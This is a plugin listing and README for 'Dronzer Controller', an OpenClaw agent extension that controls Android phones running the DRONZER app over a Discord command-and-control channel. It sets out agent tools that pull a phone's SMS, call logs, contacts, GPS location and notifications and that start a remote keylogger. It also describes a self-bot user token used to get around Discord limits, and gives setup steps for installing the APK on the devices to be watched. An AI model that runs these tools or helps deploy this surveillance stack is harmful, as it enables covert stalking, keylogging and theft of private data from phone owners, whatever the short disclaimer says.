@vintageayu

Dronzer Controller

Dronzer Android Controller for OpenClaw

当前版本
v2.2.1
code-plugin社区source-linked

Dronzer Ultimate Controller for OpenClaw

The Dronzer Ultimate Controller is a high-performance OpenClaw extension designed to orchestrate and manage Android devices running the DRONZER suite. It provides a seamless bridge between your OpenClaw agent and your remote device fleet via Discord, enabling autonomous data retrieval, monitoring, and control.


⚡ Architecture: The Dual-Token System

Dronzer Ultimate uses a sophisticated Dual-Token Architecture to ensure maximum reliability and bypass common Discord API limitations:

  1. The Dispatcher (User Token):

    • Operates as a Self-Bot.
    • Responsible for sending ! commands (e.g., !sms, !location, !devices) to the designated C2 channel.
    • Mimics human interaction to trigger device responses.
  2. The Collector (Bot Token):

    • Operates as a standard Discord Bot.
    • Runs a background polling loop (every 3 seconds) to capture device responses.
    • Handles multi-part (chunked) responses and large data attachments.
    • Ensures 24/7 reliability even if the User Token is rate-limited or restricted.

🚀 Key Features

  • 📡 Multi-Device Orchestration: Target specific devices using dronzer_select_unit or broadcast commands to all online units.
  • 📂 Autonomous Data Dumping: Automatically saves all retrieved data (SMS, Contacts, Call Logs, etc.) into a structured directory within your workspace.
  • 🧠 Smart Deduplication: Features content-based hashing to prevent redundant file creation if the device returns identical data.
  • 🔗 Chunked Response Merging: Automatically merges sequential Discord messages (within 15s) into a single unified log file.
  • 🔄 Rolling History: Maintains a sliding window of history (10 files for standard data, 100 files for keylogs).
  • 📎 Attachment Processing: Automatically downloads and extracts content from .txt attachments sent by Dronzer units.
  • 🌐 Network Resiliency: Uses a pure https core to bypass standard Node.js/OpenClaw fetch interceptors, preventing common network crashes and header mutations.

📱 Android Device Setup

To control a device, you must install the DRONZER Android client:

  1. Download the APK: Get the latest version from DRONZER Releases.
  2. Configuration: Open the app settings and enter your Bot Token and Channel ID.
  3. Webhook Setup: Create a Webhook in the target Discord channel. Copy the Webhook URL and enter it into the Dronzer Android app settings.
  4. Sync: Ensure the botToken and channelId used in the Android app match exactly what you provide in your OpenClaw configuration.

🛡️ Security & Trust

The DRONZER Android application requires sensitive permissions to function.

  • Transparency: The app is fully open-source. You can review the source code at VintageAyu/DRONZER.
  • Self-Build: If you have any doubts about the pre-built APK, we encourage you to clone the repository, open it in Android Studio, audit the code, and build/install it yourself via ADB.
  • Trust: Only install this application on devices you own or have explicit authorization to manage.

🛠️ Installation (Plugin)

  1. Download: Locate and install the Dronzer Controller directly via ClawHub.
  2. Install Dependencies:
    cd extensions/dronzer
    pnpm install && pnpm build
    

⚙️ Configuration

Add the dronzer entry to your openclaw.json (usually found in ~/.openclaw/ or your project root) under the plugins.entries section:

"dronzer": {
  "enabled": true,
  "config": {
    "botToken": "YOUR_DISCORD_BOT_TOKEN",
    "userToken": "YOUR_DISCORD_USER_TOKEN",
    "channelId": "YOUR_DISCORD_CHANNEL_ID",
    "timeoutMs": 60000
  }
}

Configuration Parameters

ParameterTypeRequiredDescription
botTokenstringYesStandard Discord Bot Token for listening and polling.
userTokenstringYesDiscord User Token (Self-Bot) for dispatching commands.
channelIdstringYesThe Discord Channel ID where Dronzer units are connected.
timeoutMsnumberNoWait time for device responses (Default: 60000).

🤖 AI Tools & Commands

Once enabled, your OpenClaw agent will have access to the following tools. You can trigger them by simply asking the agent (e.g., "Read the SMS from the phone").

Tool NameDiscord CommandFunctionality
dronzer_fetch_devices!devicesLists all online/connected Dronzer units.
dronzer_fetch_sms!smsDownloads all SMS messages from the target device.
dronzer_fetch_calllogs!calllogsRetrieves the complete call history.
dronzer_fetch_contacts!contactsDownloads the entire phone book/contacts list.
dronzer_fetch_location!locationRetrieves real-time GPS coordinates.
dronzer_fetch_notifs!notifsCaptures the most recent system/app notifications.
dronzer_start_keylogger!keysActivates the remote keylogging service.
dronzer_fetch_keys!stop5Stops keylogging and downloads the captured buffer.
dronzer_select_unit!select <ID>Locks the agent's focus onto a specific device ID.

📂 Data Structure

All captured data is stored in the .dronzer/ directory inside your OpenClaw workspace, organized by Device ID and Data Category:

.dronzer/
└── [DEVICE_ID]/
    ├── sms/           (10 file rolling history)
    ├── calllogs/      (10 file rolling history)
    ├── contacts/      (10 file rolling history)
    ├── location/      (GPS logs)
    ├── notifs/        (Notification dumps)
    ├── keys/          (100 file rolling history for keylogs)
    └── devices/       (Device status logs)

[!TIP] The file dro-<type>1.txt is always the most recent capture. As new data arrives, existing files are shifted (1 -> 2, 2 -> 3) until the limit is reached.


⚖️ Legal Disclaimer

This tool is designed for educational purposes, authorized security auditing, and personal device management. The developers of Dronzer Ultimate and OpenClaw are not responsible for any misuse. Ensure you have explicit permission before monitoring or controlling any device.


Developed by VintageAyu | Built for the OpenClaw Ecosystem

源码与版本

源码仓库

https://github.com/VintageAyu/dronzerclaw

打开仓库

源码提交

added README.md

查看提交

安装命令

openclaw plugins install clawhub:dronzer

元数据

  • 包名: dronzer
  • 创建时间: 2026/05/08
  • 更新时间: 2026/05/08
  • 执行代码:
  • 源码标签: main

兼容性

  • 构建于 OpenClaw: 2026.5.3
  • 插件 API 范围: >=2026.5.3
  • 标签: latest
  • 文件数: 7